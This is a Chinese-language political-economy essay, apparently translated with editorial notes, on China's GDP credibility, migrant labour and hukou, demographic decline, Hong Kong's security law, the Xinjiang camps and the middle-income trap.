【注：关于中国的网格式维稳，见《泄露：中国庞大的警察数据库》；关于是谁在支撑中国的网格化维稳结构（包括并不限于），见《从大规模监控到种族压迫、从拦截上访到广电总局：美国巨头如何壮大了中国的反乌托邦维稳系统》】

大多数普通党员可能是出于家庭传统、职业意识，或应邀加入的“好学生”。他们往往属于经济条件较好的人，比较爱国，在各自的环境中比较保守，但不一定是民族主义者。几年来，政府和国有企业的党员和员工被迫每天通过“学习强国”应用程序观看宣传片和解决小考试题。最近，例如护理专业的普通学生也被要求通过该应用程序每天听15分钟习近平的讲话。

【注：关于“学习强国”《一个受欢迎的聊天应用程序实际上是一个隐秘的间谍工具》】

中央政府经常像毛泽东时期那样用运动控制社会（“百花齐放”、“大跃进”等）。在大流行病开始时，整个国家和每个村庄都被召集起来进行封锁。这样的运动是有效的（达到了目标），但效率很低（大量浪费了资源）。顺带一提，但并不奇怪的是，从来没有一场旨在提高工资、减少工作时间、改善工作条件的全国性运动！

【注：这对我们来说也是非常奇怪的事。因为你绝对不能说“在中国无法搞运动”，因为运动有很多，全部都是当局主导的，朝着后退的方向“运动”；所有遭受不平等、压迫、剥削、监视和审查、奴役和被边缘的人们，从来没有发起过尝试摆脱这些威胁的运动。】

「图」

中国是否能再次将全球经济从危机中拉出来？

「图」

由于增长超过2%，中国是唯一在2020年的疫情危机中没有萎缩的主要经济体。然而，经济增长数字被篡改，看起来比实际情况要好；它们掩盖了债务和无益的大型项目。

关于冠状病毒大流行的情况也不像官方声称的那样明确。新的感染通常以大规模测试和地方封锁来应对，这可能包括河北2200万人的宵禁，就像去年的武汉，就像2021年1月初。以及对大多数外国人 —— 也包括许多中国人 —— 的入境禁令，这表明一切都远远没有恢复正常。世卫组织在涉及流行病学因果研究时拖拖拉拉的事实也表明，还有很多事要做。

根据2021年2月24日发表在BMJ上的一项研究，1月底至2月12日期间，武汉的感染后死亡约为5000人。这表明武汉的感染爆发开始得更早，规模也比官方所说的大得多。从超额死亡率中扣除，大约有100–250,000名感染者必须在1月23日正式封锁之前发生感染。因此，当地医院的情况可能在1月初/1月中旬就已经很严重了。尽管此后开始的措施相对成功，但回过头来看，我们不能忘记封锁的严酷性和任意性。

与其他发达国家相比，以及与2008/9年金融危机中的刺激计划相比，中国在疫情危机期间的刺激计划很小。增长尤其发生在建筑业和出口方面。外国铁矿石出口商从建筑业的繁荣中受益，而德国“高级汽车制造商”正在享受奢侈品消费估计同比增长近50%的事实。中国现在拥有的美元富豪比美国和印度的总和还要多。但私人消费下降了约5%。私人购买力的下滑，特别是外贸顺差的增加，表明这一次中国并没有再次成为全球需求的引擎，相反，它的上升势头是由国外资助的。

因为这种上升是用债务带来的：债务总额迅速上升，约占GDP的25%，私人债务从占GDP的55%增长到2020年的62%，或者说达到年度可支配总收入的150%，这是一个极高的数字。而经济复苏加剧了巨大的社会和经济不平等现象。绝大多数农民工以及许多城市工人，由于防疫封锁、加班损失和取消津贴，已经失去了一个或多个月的收入。

「图」

对实际增长的疑虑

「图」

根据官方预测，中国的人均GDP将在大约三年后达到13,000美元；而在八到十年后，GDP预计将在名义上超过美国的水平。

有鉴于此，李克强总理在去年5月发表的声明 —— 即6亿中国人每月

靠1000元人民币（约125欧元）或更少的钱生活 —— 是对上述预测的一记耳光。

这在我的同事中也引发了热烈的讨论，许多人拒绝相信中国会如此贫穷。中国官媒财新网根据北京师范大学和国家统计局的研究，证实了李克强的说法。根据该报告，在2019年底，有6亿中国人的月可支配收入在1090元人民币或以下。财新网称，最贫穷的家庭通常生活在农村地区，平均有一个未成年的孩子和一个超过60岁的家庭成员。人均可支配收入的中位数约为1300人民币（165欧元）。中国的“中产阶级”（定义为人均收入超过2000元人民币＝252欧元），因此由2.5亿人组成，而不是官方声称的4亿人。

【注：原文如此。但是中国究竟如何定义中产阶级，我们看到了很多不同的收入数字，比如下面这张图，这是我们看到的在中国网络上传播的数字。另外顺便说，曾经一位做“慈善”机构的中国朋友对我吹嘘说他刚刚购买了一块价值4亿美元的土地，当时我称赞他为“中产阶级”，他指出了我的错误：“应该是精英中产阶级”…… 居然不是富人！】

「图」

根据这些数字，如果我们试图估计每年可用于私人消费的总额，并将其与2019年的官方GDP联系起来，我们得到的私人消费在GDP中的份额为22–28%。这不仅在历史上是独一无二的，也可能是根本不可能的（官方数据约为38%）。换句话说，从李克强的讲话中可以估计，实际**GDP**只能是官方数字**99**万亿人民币的**65–80%**左右。考虑到高储蓄率和利息服务，与皮凯蒂的收入和收入不平等数字进行比较，可以得出类似的结果。

【注：巴黎经济学院经济学教授托马斯•皮凯蒂(Thomas Piketty)，《21世纪资本论》的作者，现在这本书被拍成了去年最著名的的纪录片之一，在这里看到具体解读《“21世纪的资本”：一部讲述我们如何陷入困境的纪录片》】

对GDP实际水平的怀疑并不新鲜，省级政府对数字的篡改也是众所周知的。我的计算只是作为一个保守的估计，但如果过去十年的增长是有成效的，人们的收入就必须比李克强指出的要高得多。但如果李克强的数字是正确的，那么债务负担占GDP的百分比也比上述数字要高得多。

中国经济问题专家迈克尔·佩蒂斯(Michael Pettis) 指出，中国的GDP

应该被理解为一种投入（！）的衡量标准，用于确定省级政府应该创造多少经济活动。中国共产党制定了增长目标。大部分的GDP根据其利益被输送到基础设施、宣传等方面。这些公共基础设施在很大程度上是为**GDP**增长而建设的，实用性有限（空荡荡的桥梁、利用率低的高铁线路**……**）。增长是通过债务资助的声望项目产生的，事实上几乎没有增加社会财富。佩蒂斯估计实际年增长率约为**2%**至**3%**。

李克强的收入数字不仅意味着6亿中国人每月生活费不足125欧元，而且还意味着过去十年的经济增长有相当一部分没有发生。由此可见，未来的增长也会相应降低，并且由于人口老龄化、债务等原因会进一步放缓。这样一来，快速增长的假象不可能维持太久，只有在美国经济崩溃的情况下才有可能超越美国（这也是中国宣传中不断暗示的东西）。换句话说，时间对北京不利。

「图」

这种民族主义暗示在中国用来制造骗局了

关于我自己的计算结果。那份报告给出了特定收入群体的人数，例如，2.02亿人的月度可支配收入为500–800元。我估算了平均数，并以加权的方式将它们加起来，以接近所有家庭可支配收入的总和。然而，后者无法有意义地确定，因为最富有人口的百分位数的收入并不确切。但对于私人消费来说，这个百分位数并没有起到决定性的作用；他们根本不可能吃掉所有的钱，所以我把上限定在某一数额之上。我通过约20–35%的储蓄率和约10–15%的利息服务来减少总金额，并通过每年9%的新债务来增加这一金额。

【注：看 Piketty 的分析《World Inequality Database》；看 Michael Pettis《What Is GDP in China? Jan. 16, 2019》】

「图」

巨大的鸿沟

「图」

中国的社会不平等现象严重，有其政治原因。在毛泽东时代，中国共产党将不断增长的工人阶级分为享有特权的国家雇员（铁饭碗）和不稳定的工人。到1990年代末，约有5000万人从国有企业下岗时，沿海地区已经出现了一个由特权房主和老板组成的新的地方层级。这是因为1990年代出现了有史以来最大的私有化：中国的房地产市场。

中国的社会群体可以根据他们对权力中心的接近或远离来描述。获得社会资源和权力的机会取决于“关系”（党的干部）、地方特权（户口、房屋所有权）、和与富裕的大都市的距离。

根据规模、经济表现和政治重要性，官方将城市分为1至4级；北京、上海、深圳和广州为一级城市，其他省会城市为二级城市，其他重要城市为三级城市，以此类推。（有一篇文章解释过这件事《China’s City-Tier Classification: How Does it Work?》）

权力和财富集中在一二线城市，上层社会（国家精英、亿万富翁）和丰富的行政官员、房地产所有者、企业家、管理层人士都在这里，可以与工业化国家媲美……。但是，教授、医生、教师、国有企业的（非终身）雇员，以及当地的工人阶级，在这里也各自比其他城市更好。

四线及以下的城市是外围的一部分；三线城市可以部分算作第一组，部分算作第二组。同样，当地有一个上层和中层阶级，他们拥有房地产或企业，以低工资剥削当地劳动力。

在“改开”后的四十年里，工人阶级得到了极大的发展。数以亿计的农民工从农村或没有足够挣钱机会的城市来到沿海工业大都市。正是他们把普通话带到了全国各地，并使之成为通用语言（而广东的地方精英们则继续坚持他们的粤语方言，以此作为区别的标志）。

只有这些人才对拆除具有地方特权的户籍制度有实质利益，因为户籍制度剥夺了他们（约占劳动力的40%）及其子女在工作地点享受公共卫生和教育系统的权利，并且与平等主义（同工同酬）和普遍主义（平等获得司法救助）的价值观截然相反。

大多数流民工人根本就没有得到劳动合同。在有劳动合同的地方，它们也往往是无效的，或者在发生纠纷时几乎无法执行。没有老板的青睐，你的劳动合同一文不值，你的租赁合同也是如此。没有普遍适用的规范和法律可供依赖，只有你的上司说的话才有效。

由于这些多方面的划分，至少从社会学上描述中国的工业工人阶级一点也不容易；这里只列举几个要点，以使情况更清楚。

在珠江三角洲，一般工厂的年轻工人的工资从3000元人民币（略低于400欧元）开始，然后上升到4000–5000甚至6000。在沈阳的超现代宝马工厂，汽车工人的工资也只有4500元，因为该工厂位于锈带地区。

佛山的大众汽车公司支付的工资最高，在装配线上的工人工资约为7000，技术人员甚至为10000 —— 但招聘要求是技术学院的学位和市级户口；而且，绝大多数的大众汽车工人仍然是两个人睡一个房间，无法在当地购买公寓，让他们与家人住在一起。

有经验的纺织工人在江浙或珠江三角洲可以赚到5000–8000元（近年来，有几家工厂已经搬迁到柬埔寨和越南，那里的工资要低得多）。国有企业的一些工资要好一些，而且你也不能轻易被解雇。但是，你只能通过关系进入，而且必须支付价值几个月的工资作为贿赂才能被雇用。在该国的内陆地区，工资更低。

工厂工作的特点仍然是工作时间长，有各种惩罚措施的专制制度，以及使工人无法与家人在工作地点附近居住的户籍制度。这三个问题都没有得到改善。我通过教授英语课遇到的富士康工人为了离开工厂做了各种各样的事：除了学习英语（为了从事市场或销售工作），他们还在考驾照（为了做出租车司机），或者试图在房地产中介那里找到工作。

在旧的国有工厂里，这三个问题都还算麻烦不大；但在这里，管理层完全没有提高生产力。沿海地区新的、私人资本主义的工厂是解决生产力危机的答案。从相当长的几年里，流民工人的工资增长比正规职业，特别是（高）技术职业的工资增长要慢得多。服务员、收银员和清洁工等半技术性服务工作的工资几乎没有跟上通货膨胀的步伐，根据我的观察，自疫情发生以来，工资一直在下降。区域不平等也在继续扩大；上海的平均收入是全国贫困地区平均收入的10到12倍。

再来说说我工作的公司。在这里，拥有技术学科学士学位的人起薪为5–6000人民币。在拼多多或华为那种地狱般的IT单位中，他们的起薪可以超过1万。我的同事在结婚后在城郊买了一套公寓，首付30%，其余的是贷款，分30年还清。**4.8%**的利率意味着对他们中的许多人来说，配偶一方的全部工资都要用于支付抵押贷款。

这种技术学院或大学毕业生也是流民劳动力的一部分。与工人不同，他们有希望在城市郊区获得一套公寓和户口。这种希望一直存在，因为有几百万人已经做到了这一点。他们为此付出了“996”的努力，但在过去的十年里，机会已经缩小了。习近平的民族主义运动和对自己成就的夸大似乎在这些受过高等教育并有希望进入中产阶级的工薪阶层中特别有效。

「图」

人口危机

「图」

2008年，意大利经济学家乔瓦尼·阿里吉为他对中国经济持续增长的信念辩护，指出中国的人口有很高的教育水平和良好的健康状况。而今天，这两者都不是事实。

在中等收入国家中，中国是受教育程度最低的国家（仅有超过30%的工作人口受过中等教育）；中国的中位年龄相对较高（除泰国和古巴外，中等收入国家中只有前东欧集团国家的中位年龄较高）；超过70%的儿童近视，超过50%的成年人超重；超过15%的夫妇不孕。

根据刚刚公布的统计数据，与2019年相比，2020年的出生人数骤降15%，约为1250万人。在这些新生儿的父母那一代，出生人数几乎是他们的两倍（在1985年至2000年期间，平均每年有2170万婴儿出生；在祖父母那一代，这个数字是2480万）。社会正在迅速老龄化；人口危机正在加速发展。

人口问题是中国未来20年内超级大国野心基本破灭的原因。“允许”人们生三个孩子并不会让人们有三个孩子。即使是福利制度最慷慨的最发达的国家，在下降之后也未能将出生率恢复到**2.1**以上。最好的只能是设法减缓下降，而不是逆转， 这也包括移民的婴儿。尽管很多关于美国出生率下降的谈论，美国可能会没事，原因有2个。首先，美国继续吸引移民，拜登的开放移民态度就是这个原因；第二，美国的出生率下降得较晚，而且速度比世界其他地区慢得多。而中国在此无法挖掘优势。

在20世纪90年代和21世纪，蓬勃发展的中国工厂仍然能够从大量涌入工业城市的年轻男子、特别是20多岁的年轻女性中挑选工人。在21世纪初中国加入世界卫生组织后的几年里，每年约有2500万年轻人进入劳动力市场，其中只有约100万人拥有大学或技术学院的学位。

这些农民工认为，在工厂工作五年或十年后，他们会回到农村，开一家商店、餐馆或小企业。许多（如果不是大多数的话）这些小企业以破产告终，他们不得不回到工业化大都市地区从事劳动。

然而，到了现在，他们已经太老了，无法再从事那些本来就不应该做一辈子的艰苦工作。拥有自己的小店的前景也在减少，因为大公司正在向小卖部业务推进，并将几乎所有的小卖部和许多餐馆变成了特许经营。许多冲突是由于对所谓的苦力劳动的暂时性及其健康后果的失

望而点燃的。

与此同时，年轻移民工人的涌入正在枯竭。2010年，大约有2100万人来到这里，其中250万人拥有大学或技术学院的学位。今年，仍有1500万年轻人进入劳动力市场，包括900万拥有大学或技术学院学位的人 —— 另外600万中的许多人宁愿做低薪的服务工作，也不愿意进入工厂。在20年里，大致上，蓝领工人与白领工人的比例已经从24:1下降到2:3。合格的劳动力“在增加”，但在**2011**年，应届毕业生的供应就已经超过了需求的**15%!**

「图」

在这里下载这本书《对抗新自由主义资本主义的斗争》

未来20年，在职劳动力中唯一将继续增长的年龄组是50岁以上的群体。从农村背井离乡的数以亿计的工人仍在那里，但他们已经变老。许多工厂的雇佣年龄限制现在已经提高到**40**岁，但工作流程没有发生质的变化，无法让工人工作到退休。

老龄化工人面临贫困，即使欢呼雀跃地宣布“结束绝对贫困”（定义为每人年收入低于4000元人民币＝519欧元，或每天1.42欧元；世界银行将极端贫困的门槛定为每天1.59欧元，像中国这样的中上收入国家的贫困门槛为4.60欧元）也不能改变这一点。

甚至官方的宣传也显示，扶贫更多的是施舍，而不是盈利的工作。顺便说一句，中国共产党在2000年已经庆祝了战胜绝对贫困的胜利。

民族主义而非平等主义

「图」

习近平自2012年起担任中国共产党总书记和中央军事委员会主席，自2013年起担任国家主席。他的上台标志着中国第三阶段的开始（第一阶段是毛泽东时期，第二阶段是从邓小平到胡锦涛）。

习近平的“反腐斗争”消灭了统治机器中的所有反对者。习近平注重威权主义和民族主义，而不是像邓小平和胡锦涛那样注重经济福祉。2015年，他发动了一波镇压行动，先是针对女权主义者，然后是人权律师，最后是针对劳工非政府组织。自信的姿态 —— 最近一次是对战冠状病毒的辉煌胜利 —— 应该是在传达民族主义力量。中国正在建设自己的军队，并大规模地干预例如非洲国家的国内政治。

- 如果您错过了《习近平的无限任期对非洲意味着什么？》；以及《华为使用以色列间谍软件监视北京支持的非洲领导人的政治对手》；《 非洲人的脸被用来训练中国老大哥：北京正在努力将其监视技术输出到发展中国家》

同时，中国正在将自己与“外国影响”隔离开来，尽管从经济角度来看，中国需要更多而不是更少的与外国的交流；例如，为了进一步发展其出口产业，为了产业升级，以及为了改善工作流程和语言技能。国际合作的减少将对生产力的提高产生负面影响，包括但不限于微处理器等关键行业。在我的工作场所，在一个只有中国人的软件开发人员的部门，工作方法和组织落后于“西方”公司大约15年。在欧洲管理的软件项目中，这种情况就不那么明显了。中国的经济发展正在为外部冲突的升级和日益孤立而付出巨大的代价。

【注：更多相关内容可参考《Propaganda Soars Into Orbit》；《China’s Demographic Prospects to 2040: Opportunities, Constraints, Potential Policy Responses》】

经济政策（最近被称为“双循环模式”）鼓励创业，同时绕过了工资中可自由支配份额增长的均衡趋势。住房建设和相关产业约占GDP的四分之一。它们创造了需求、就业机会，并使一些人变得富有；但它们使尖锐的阶级分化保持不变，总体工资支出保持在低水平，这继续限制了人们对自己生活的权力。方法包括从强制储蓄到住房贷款，从国家的投资政策到强制重新安置。

强制储蓄 —— 在社会福利、经济补偿等方面，没有法律保障的权利；这迫使人们储蓄以备不时之需，并导致了极高的储蓄率。放在一边的钱不会用于消费（这就是为什么所有扩大国内市场的尝试都失败了）。

住房贷款 —— 正式员工有一个“住房基金”，如果雇主支付了足够的缴款，工人可以申请廉价的贷款来购买房屋。一些雇主为雇员缴纳的住房公积金多于他们的工资，以节省税收；雇员欣然接受，甚至认为这是一种工资增长，因为无论如何他们收入的绝大部分都用于买房了。

大多数国家投资流入富裕城市，加剧了大都市和边缘地区的不平等。它们导致了建筑业对廉价劳动力的过度剥削（大量没人住的鬼楼！），并膨胀了一个巨大的房地产泡沫。

目前，房地产的总价值比中国的整个GDP高出四倍多。为了获得一些

观点，对比一下：在日本，在泡沫的高峰期，它比GDP高2.7倍！当一家房地产公司为IT公司建造一个新的创新中心或办公大楼时，当地政府不仅支付头三年的租金，而且还补贴每个工人，例如，每月3000元人民币，而最低工资不到2500元。

数以千亿计欧元就这样被转移到了大都市，用于投机泡沫和补贴骗局，如电动汽车和微处理器，用于平庸的研发部门的办公室工作，等等。导致那里的住房和生活成本上升。

「图」

强制搬迁 —— 作为所谓 “赤贫” 的一部分，仅在山东省就有240万人被强制搬迁，占人口的2.4%。新村被建成一个梯田式的住宅区，地点适合当地政府的要求。建成后，甚至在建成之前，村民就被赶出了他们的旧房子，旧村被夷为平地。

许多人不会自愿搬进新房子，因为它们不是一种改进（例如，它们离农田太远）。在这里，贫穷也被 “消除了”，财富也在纸面上被创造了，但是，没有居民的参与和其平等主义的效果。如果允许人们自己决定，“村庄的现代化” 将需要政府作出非常不同的让步。

现在，国家创造了经济活动和增长，而工人在GDP中的实际可支配份额，即他们工资单中的工资，却停滞不前甚至下降，人们个人对抵押贷款、国家施舍、工作、业主大会和行政管理的依赖性增加。国家威权主义以及经济模式都是建立在缺乏法律保障的基础之上的。而中国的年轻人虽然对国家的未来感到自豪和乐观，但他们是带着极大的担忧来看待自己的经济前景的。

“爱国者统治香港”

「图」

自2020年7月1日《国家安全法》出台以来，香港已逐渐转变为一个与其他城市一样的中国城市。自2021年2月起，香港学童开始接受 “爱国主义教育”：从幼儿园和小学开始，孩子们将学习分离主义和外国影响是危害国家安全的罪行，禁止唱有政治内容的歌曲。2021年3月4日，“一国两制” 走到了尽头。

关于香港，见《新自由主义的香港向世界讲述了一个什么样的故事？》这篇文章中都有，本文就不详述了

而北京总是声称2019年的《引渡法》和《国家安全法》是“以法治为准绳的”，但他们没有做出丝毫努力来保持这种假装。自这些法律出台以来，第一批在中国大陆受审的香港人（因试图逃往台湾）没有律师，因为他们的实际律师刚刚被取消了资格。

在镇压和疫情之下，香港的抗议运动变得激进（与一开始不同，去年有相当一部分人要求从中国分离出去），之后在很大程度上陷入了停滞状态。

许多人正计划离开这个城市，包括我的一些朋友和队友。过去，他们组织了反对私有化、城市化、不稳定工资的社会运动，总之是反对香港式的极端自由主义资本主义。自去年以来，香港的情况发生了巨大的变化，人们现在把新疆看作是事情仍然可以继续变得多么糟糕的一个标志。

- 如果您错过了《中国在香港的剧本也在亚太地区上演》

「图」

新疆

「图」

与此同时，有越来越多关于新疆维吾尔族营地的证词、消息来源和泄露的内部文件，估计有一百万人被关押在那里。

镇压的范围从用普通话取代维吾尔语、到阻止访问清真寺、和无孔不入的监视，再到监禁、强迫劳动、减少维吾尔人的生育和酷刑。

- 如果您错过了《中国的“新疆模式”如何借鉴美国、英国和以色列的平叛战略》

生活在中国的维吾尔人有1000万，只占总人口的0.7%左右。在新疆，他们占人口的45%。许多人去了中国东部当农民工。他们不仅是建筑工人，而且在中国所有城市的餐饮业中发挥着重要作用。想回到新疆的农民工现在要三思而行，因为他们可能几乎没有机会再从那里被放出来。政府故意在新疆安置了几十年的汉族人，也正在离开这个省。

中共在新疆的干部曾经是维吾尔人。作为1980年代工业化政策的一部分，他们被汉族人所取代。针对汉族人在新疆的定居，发生了恐怖行

动。这使中国政府感到震惊，它一直在打击分离主义的愿望。

911事件后，人们担心新疆会出现“第二个车臣”。大约在过去的四年里，政府一直在加强对新疆的镇压。其中一个原因是，丝绸之路从这里经过。但是，这与习近平领导的整个国内政治发展同时发生，肯定不是巧合。

新疆是一种模式和试验场；那里的难民营不仅仅是为维吾尔人准备的。在国家宣传中，拘留营被描述为培训计划、再教育、打击恐怖主义，或者按照殖民主义的风格，被描述为对未开化民族的启蒙教育。

【注：如今，全世界都是这种集中营，它们只是取了不同的名字，如难民营、再教育营、拘留营、劳动营、监狱营、无家可归者营地等等，它们实际上是同一种东西。在这里阅读一本书，关于为什么会这样的分析《如今，这是一个遍地都是集中营的世界》】

中国是世界上最大的西红柿生产国；它们主要来自新疆，通常以西红柿酱的形式出现。同样地，中国80%的棉花都是在那里种植的。但是，虽然个别农场肯定会受益，但营地系统不能用经济理性来解释。它的维稳成本是巨大的。

大众汽车是唯一一家在新疆经营工厂的外国汽车制造商；同样，这可能不是一项生产性投资，而是大众汽车对中国共产党的一种善意的姿态。该工厂的设计是每年生产5万辆汽车，但从来没有生产过哪怕一半的汽车（相比之下，大众在中国南部的佛山工厂每条装配线每年可生产30万辆汽车）。当被问及此事时，大众汽车老板迪斯（Herbert Diess）声称，他从未听说过新疆有侵犯人权的行为，对这个问题不能说什么。

长期以来，北约国家和俄罗斯都在新疆问题上对中国放任自流——毕竟，“打击伊斯兰恐怖组织”是一个共同关注的问题（显然有许多细微差别，见叙利亚）。然而，与此同时，拘留营被其他国家用作与中国对抗的工具；2021年1月中旬，美国对新疆的棉花和西红柿实施了进口禁令。

【注：这是一个冷门的角度，但可能很重要《中国如何在不发射子弹的情况下“赢得”中东》（即将发布）您知道为什么】

我们应该批评对“种族灭绝”的宣传性指责；根据证据，正在发生的事是压迫，而不是灭绝，汉族人也是受害者之一【我喜欢这句话】。但是，揭示西方政策的宣传绝对不应该意味着否认拘留营的存在！在

国内，拘留营代表了中国人的利益被剥夺。

【注：这点非常重要！人们太容易被二元思维所绑架，舆论和媒体一直在强迫你站队 —— “你支持美国还是中国？” 意味着如果您质疑美国的宣传，就等于您是北京政府的捍卫者，反之亦然。绝对不应该是这样！北京政府和华盛顿政府之间的竞争有它们各自需求的利益，而对我们公民来说，抵抗压迫、获取真相、解决现有问题，才是我们的利益。

为什么说这件事非常重要？因为从去年底开始，我们观察到有来自中国的著名人士在渗透西方异议（主要是反战、反帝、反垄断的独立组织），不是胡锡进哦！胡锡进是不被西方反抗者信任的！疑似的渗透者在新疆问题上采取强化华盛顿宣传性质的陈述，暗示北京的做法是正确的。这里的危险在于，“渗透者” 所指出的华盛顿的错误都是事实，但是，华盛顿的错误并不意味着北京正确！但 “渗透者” 在暗示这点。这是在故意曲解现实。

在去年底的对话中我们强调了这点：西方反抗者一直在努力全球拉拢支持者，因为他们的对手是全球叙事的主导者，除非如此，否则他们无法成功；而上述疑似来自中国的渗透就是这样进入的。

没有人应该认为华盛顿对中国的评价是完全关乎人权的，相反，中国对华盛顿的评价也同样如此，但是！这并不意味着北京和华盛顿中任何一方完全正确！西方反抗者并没有支持 “北京正确” 的想法，您应该知道，他们从来对事不对人；而疑似的渗透者在努力暗示这点，因为他们的主要工作是宣传，他们必需对人不对事。这是区分政治宣传和反抗的关键。】

在国内，拘留营代表着北京政权无法以胜利结束的冲突 —— 除非它在未来50年继续镇压，直到几乎没有维吾尔人活着。

如果拘留和监视明天就结束了，中共的谎言就会昭然若揭，当然会有相当多的人对维稳机构进行报复。在中国社会，对此几乎没有公开讨论，也没有反对意见。

【注：反对意见还是有的，只是种族主义声音太过强大了，淹没了那些反对的声音。】

一位去过新疆的出租车司机向我们讲述了那里的警察检查情况，就好像他在告诉我们他的假期那般，语气轻松。他对维吾尔人不允许三人一组上街的事实并没有感到任何不安，他认为：“你必须这样对待他

们，因为他们总是相互见面，把所有时间都花在朋友身上”。

随着习近平的执政，对新疆的政策进行根本性的改变几乎是不可能的。然而，在此之前，专制独裁不会受到挑战，在中国其他地区也不可能有法律保障。

在香港，特别是在新疆的严厉措施将中共锁定在一条单行道上，国家只能向专制主义发展。而且正如我们在上面看到的，如果不加强法律保障，也不可能有效提高消费和出生率。拘留营专制主义、贫困、低工资和人口危机是相互关联和相互依赖的。

「图」

中国是否处于中等收入陷阱中？

「图」

在全球危机之前，金砖国家（巴西-俄罗斯-印度-中国；后来还有南非：BRICS）被认为是全球化的大赢家。危机发生后，人们的观点发生了变化。之前被宣传为几乎是“自动发展”的东西现在被质疑了。

2008年，Gill 和 Kharas 创造了“中等收入陷阱”一词。在1960年被定义为“中等收入”的101个国家中，只有14个国家能够在2008年成为“高收入”国家（包括爱尔兰、南欧国家，以及韩国、台湾和新加坡）。

中等收入陷阱理论对此的解释是，新兴经济体的工业化进入了一个阶段，即 某些产业由于工资上涨而迁移到其他地方（例如，在中国，纺织业正在这样做），但这些国家（尚未）设法吸引其他产业并与更先进的工业化国家竞争。

这个过程不能被单维地理解为“技术发展”。经济学将其描述为从“量”到“质”的发展过渡，而马克思主义者会将其理解为从绝对剩余价值的生产到相对剩余价值的过渡。

“外部因素”也发挥着重要作用。在1930年代是阶级斗争；在“冷战”期间，许多前线国家得到了北约的大力支持…… 而自1979年沃尔克冲击以来，只有（前前线国家）韩国成功地成为一个“高收入”国家。仅在1987年，就有超过3000次的罢工，可以推动25%到30%的工资增长。最重要的是，这些斗争打破了工厂里的军事化工作纪律。

在随后的一段时间里，巨大的中国成为一个“外部因素”，利用倾销价格剥夺了小国的这种发展机会。在**2008/9**年的全球危机之后，现在出现了一个讨论，即 中国本身是否陷入了这个陷阱。

在两位数增长的年代，中国的企业家很容易：他们可以用廉价的产品充斥全球市场，工业化国家工资的下降为这些产品创造了需求。而农村劳动力、机械的使用和工作时间的延长，保证了足够的利润。

在胡锦涛领导下，当然也有提高工资和消费额的努力。有人说要像德国那样引入产业工会。大规模的国家投资计划被引入，以缓解2008年以来全球危机的影响，甚至在2010年本田罢工之后，在广东进行了公司工会的短暂试验。

但是，向“质的增长”的过渡需要深刻的变化。工资的增长不仅要快于GDP，而且要快于企业利润。为了降低储蓄率，社会保障和劳动法必须得到改善和执行（还有租金法等等）。所有这些都是在全球危机的情况下进行的，在这种情况下，过去20年的高增长率不再可能——以及在国内激烈的阶级斗争的背景下……

当习近平在2012年接替胡锦涛时，这些实验者很快就退休了。在2010年和2015/6年经济滑坡期间，工资和消费占GDP的比重有所上升，部分原因是罢工运动，但习近平能够利用经济滑坡来全面巩固他的权力，并收紧了镇压。此后，工资和消费份额再次下降。

最终，这加剧了作为中国经济奇迹基础的问题：工资上升而工资份额下降（即工资和福利在国内生产总值中的份额；工资份额可以作为工人权力的衡量标准）。工资份额已经从1995年的51.4%下降到2008年的43.7%。最近几年，它进一步下降到40%左右。而如上所示，工人阶级低层的实际工资现在也在下降。这艘船已经起航，公司工会或甚至独立工会的更多自主权在目前是不可想象的。

【注：这大概就是目前中国社会流行的“躺平”的由来。很遗憾，躺平并不是罢工，因为您不可能联合到足够多的人集体行动以给管理者制造真正的压力 —— 尤其是，鉴于失业大军的现状，管理者可以迅速从社会上招募新工人以取代您和您的朋友，然后一切都不会改变。

罢工是真正有效的抵抗方法，在本时代尤其重要（我们将详细分析这件事），也是为什么我们上传了《对抗新自由主义资本主义的斗争》，以及发布了这篇文章《抵抗中国的资本主义：国际联盟的理由》，因为这正是今年开始的全球抗议活动的主题。在中国，它格外重要 —— 2019年的香港抗议已经证实了这点。然而，中国知识分子

中几乎没有任何人对此发表过任何有意义的论述，这点格外惊人。】

根据亚洲开发银行的说法，要摆脱中等收入陷阱，有三件事是必不可少的：使劳动过程更加有效，寻找新的市场以维持出口增长，以及增加国内需求。

然而，最近作为“双循环经济”的经济政策的翻版，北京继续通过债务和房地产泡沫的危险组合来刺激国内需求；大量的政府资金继续流向效益可疑的基础设施项目。而且我们已经讨论了经济政策是如何阻止国内市场通过提高工资和大众消费而真正转向增长的。

中国在快速增长阶段的最大竞争优势现在被所有经济顾问所要求的“质变发展”所阻挡。

户口制度类似于南非种族隔离制度中的班图斯坦制度：工人被带到需要他们的地方，而他们的家人和孩子却不得不留在生活成本低廉的地方。这造成并维持了巨大的城乡工资差距。

有了户口制度，国家为企业保证了廉价劳动力。因此，他们可以节省在提高劳动过程质量方面的投资。老工人的正规教育水平低是这种经济发展的结果，而不是原因。顺便说一下，南非是处于“中等收入”陷阱中的国家的典型例子之一。顺便提一下，户口制度最近只在工业和工作机会较少的三四线城市得到了放松；而另一方面，22个一线和二线城市则使获得本地户口变得更加困难。

“当来自国内的廉价劳动力已经耗尽时. ….. 就需要其他特质了。从那一刻起，为了掌握下一个发展阶段，有必要应用更有效的生产方法，生产更高质量的商品，并推动本土研发”，商业记者和前中国记者Elisabeth Tester 在2018年《Schweizer Monat》的中国特刊上写道。但是，她错了！如果廉价劳动力的储备已经耗尽—— 而你又不想把几百万的外国工人带入国内—— 那就已经太晚了！

中国已经遵循了关于如何避免中等收入陷阱的建议（教育、研究、基础设施……）。但是，仅靠正规教育并不足以创造合适的工作。尖端的研究和飞往火星的火箭并不能使工业化大生产更加有效。电信、电动汽车、高速列车、计算机芯片、航空航天、量子计算机等方面的技术追赶作为进口替代很有效，但不足以开辟新市场。

中国也不能希望世界其他国家有能力并愿意在没有进口增长的情况下吸收越来越多的出口份额。事实证明，机器人化也比《中国制造2025》工业计划中所设想的更加困难。

根据世界银行的数据，全要素生产率是经济学家用来确定 “技术进步” 或不断增长的生产率的一个衡量标准，在2010年之前每年增长4%，然后增长约2%，最近仅增长0.7%。

【注：全要素生产率是指“生产活动在一定时间内的效率”。 是衡量单位总投入的总产量的生产率指标，即总产量与全部要素投入量之比。全要素生产率是指不包括资本和劳动力等外来输入，其他所有影响产出的要素；即，一个经济体本身实力的进步，它的特色是能够通过一个简单的数据说明经济增长的因素。】

一些增长的部门是控制技术和维稳服务业务的，这些部门产生的社会效益为零。中国未能像经济学家所说的那样 “使劳动过程更加有效”。工业工人阶级的生产力是缺乏的。成千上万的年轻女工在富士康和其他地方非常有利地填补了技术空白，她们在这个过程中毁了自己的眼睛，但没有获得 “掌握下一个发展阶段” 的必要技能。中国的工厂停留在专制的 “工会前福特主义” —— 因此也被年轻的无产者所回避。

